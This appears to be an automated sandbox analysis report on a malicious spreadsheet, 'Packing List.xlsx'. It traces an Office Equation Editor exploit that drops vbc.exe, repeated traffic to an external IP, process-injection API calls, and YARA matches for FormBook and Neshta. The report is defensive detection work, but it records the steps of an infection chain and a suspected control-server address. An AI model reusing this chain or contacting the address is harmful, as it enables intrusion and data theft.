Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.38

Source: vbc.exe, vbc.exe, 00000006.00000000.474777707.0000000000409000.00000008.00020000.sdmp, vbc.exe.3.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: vbc.exe, 00000005.00000000.468788902.0000000000409000.00000008.00020000.sdmp, vbc.exe, 00000006.00000000.474777707.0000000000409000.00000008.00020000.sdmp, vbc.exe.3.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe, 00000005.00000002.488324538.00000000021E0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000005.00000002.488324538.00000000021E0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27DB9FE4.emf

Jump to behavior

Source: global traffic

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: 6.0.vbc.exe.1c0000.9.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.13.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.15.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.7.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.23.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.17.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.21.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.13.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.25.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.2.vbc.exe.1c0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.21.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.23.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.17.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.11.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.25.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.19.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.15.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.19.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 5.2.vbc.exe.30b0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 5.2.vbc.exe.30b0000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 6.0.vbc.exe.1c0000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.476970202.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.476210300.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.475402924.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.482711816.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.479470505.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.480530429.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000005.00000002.488911564.00000000030B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.484429588.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.486527655.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.478490697.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000006.00000000.474755506.00000000001C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14

Source: C:\Users\Public\vbc.exe	Code function: 5_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

Source: C:\Users\Public\vbc.exe	Code function: 5_2_004047D3
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004061D4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_73233070
Source: C:\Users\Public\vbc.exe	Code function: 5_2_732330BA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_73235AEE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_73235AFD
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004047D3
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004061D4

Source: C:\Users\Public\vbc.exe

Code function: String function: 00402A29 appears 51 times

Source: C:\Users\Public\vbc.exe

Code function: 5_2_73235ECC CreateProcessW,NtQueryInformationProcess,VirtualAllocEx,CreateRemoteThread,SuspendThread,

Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write

Source: Packing List.xlsx	Virustotal: Detection: 32%
Source: Packing List.xlsx	ReversingLabs: Detection: 29%

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Packing List.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVREDD7.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@6/20@0/1

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00402053 CoCreateInstance,MultiByteToWideChar,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

Source: Packing List.xlsx

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Binary string: wntdll.pdb source: vbc.exe, 00000005.00000003.474355640.000000000F300000.00000004.00000001.sdmp

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\nsn3BBA.tmp\oxtrp.dll	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
